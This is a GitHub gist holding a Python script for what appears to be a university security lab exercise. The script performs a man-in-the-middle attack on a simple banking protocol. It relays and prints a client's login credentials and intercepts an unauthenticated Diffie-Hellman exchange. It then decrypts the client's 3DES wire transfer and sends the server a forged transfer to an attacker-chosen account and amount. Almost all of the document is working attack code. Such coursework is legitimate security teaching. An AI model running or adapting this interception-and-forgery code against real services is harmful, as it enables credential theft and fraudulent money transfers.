Created
May 28, 2013 08:04
-
-
Save Mononofu/5661215 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
''' | |
SecEnv InetSec | |
DH key exchange and encryption | |
Curtesy of your friendly neighbourhood WDE assitant. | |
Just remember: We Don't Exist! | |
''' | |
import argparse | |
import socket | |
import base64 | |
from Crypto.Cipher import DES3 | |
from Crypto.Util import number | |
from Crypto.Hash import SHA256 | |
def bind(args): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
s.bind(("", int(args.listen_port))) | |
return s | |
def connect(args): | |
s = socket.socket() | |
s.connect((args.server_host, args.server_port)) | |
return s | |
def parse_dh_params(s): | |
dh_params, server_pub_key, _ = s.split("\n") | |
p, g, bitsize = dh_params.split(",") | |
return (int(p), int(g), int(bitsize), int(base64.b64decode(server_pub_key))) | |
def gen_keys(p, g, bitsize): | |
print "Gen keys with %d bits" % (bitsize + 1) | |
priv_key = number.getRandomNBitInteger(bitsize + 1) | |
pub_key = pow(g, priv_key, p) | |
return priv_key, pub_key | |
def encrypt_msg(key, plaintext): | |
des = DES3.new(key, DES3.MODE_ECB) | |
return des.encrypt(plaintext + | |
(' ' * (8 - (len(plaintext) % 8)))) | |
def decrypt_msg(key, cryptext): | |
des = DES3.new(key, DES3.MODE_ECB) | |
return des.decrypt(cryptext) | |
def parse_transfer(transfer): | |
return int(transfer.split("\n")[2].split(":")[-1]) | |
def connect_and_transfer_funds(args): | |
#open a connection to server | |
server = bind(args) | |
server.listen(1) | |
conn, addr = server.accept() | |
print "got connection: ", addr | |
# send banner to client | |
conn.send("EHLO <safest bank customer login>\n") | |
credential_string = conn.recv(4096) | |
print "credentials from client: '%s'" % credential_string | |
s = connect(args) | |
#receive ehlo from server | |
print "header from server: '%s'" % s.recv(4096) | |
#pass authentication string to real server | |
s.send(credential_string) | |
#check reply | |
print "server auth reply: '%s'" % s.recv(4096) | |
# send OK to client | |
conn.send("OK\n") | |
#get DH params from real server | |
p, g, bitsize, server_pubkey = parse_dh_params(s.recv(4096)) | |
print "server pub_key: '%s'" % server_pubkey | |
# generate our public key | |
privkey, pubkey = gen_keys(p, g, bitsize) | |
# send DH params + our public key to client | |
conn.send("%d,%d,%d\n%s\n" % (p, g, bitsize, base64.b64encode(str(pubkey)))) | |
# receive public key from client, reply with OK | |
client_pubkey = int(base64.b64decode(conn.recv(4096))) | |
conn.send("OK\n") | |
#send our public key to the real server | |
s.send(base64.b64encode(str(pubkey)) + "\n") | |
#check server reply | |
print "server key ok: '%s'" % s.recv(4096) | |
#calculate the shared encryption keys | |
server_shared_key = pow(server_pubkey, privkey, p) | |
client_shared_key = pow(client_pubkey, privkey, p) | |
# receive encrypted transfer from the client | |
encrcypted_transfer = base64.b64decode(conn.recv(4096)) | |
# generate shared key for client | |
hash = SHA256.new() | |
hash.update(str(client_shared_key)) | |
client_key_str = hash.digest()[:24] | |
# decrypt it | |
transfer = decrypt_msg(client_key_str, encrcypted_transfer) | |
print "decrypted transfer: ", transfer | |
source_account = parse_transfer(transfer) | |
print "Destination: ", source_account | |
# generate sharedy key for server | |
hash = SHA256.new() | |
hash.update(str(server_shared_key)) | |
server_key_str = hash.digest()[:24] | |
message = format_message_for_transfer(source_account, args.dst_acc, args.amount) | |
print "generated message: ", message | |
# encrypt transfer with shared secret for server | |
msg = encrypt_msg(server_key_str, message) | |
# send encrypted message | |
s.send(base64.b64encode(msg) + "\n") | |
#check server reply | |
print "server answer to transfer: '%s'" % s.recv(4096) | |
s.shutdown(1) | |
s.close() | |
def format_message_for_transfer(src, dst, amt): | |
msg =\ | |
'---------- secure banking wire transfer message ----------\n'+\ | |
'Destination Acc.no.: {0:015d}\n'.format(dst)+\ | |
'Source Acc.no. : {0:015d}\n'.format(src)+\ | |
'Amount (in US$) : {0:015d}\n'.format(amt)+\ | |
'------------------ end of wire transfer ------------------\n' | |
return msg | |
if __name__ == '__main__': | |
parser = argparse.ArgumentParser(description = 'Sample Client SecLab MITM') | |
parser.add_argument('listen_port', type=int, help = 'The port the mitm app listens on.') | |
parser.add_argument('server_host', help = 'The host the server listens on.') | |
parser.add_argument('server_port', type = int, help = 'The port the server listens on.') | |
parser.add_argument('dst_acc', type = int, help = 'The destination account number') | |
parser.add_argument('amount', type = int, help = 'The amount to transfer') | |
args = parser.parse_args() | |
connect_and_transfer_funds(args) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment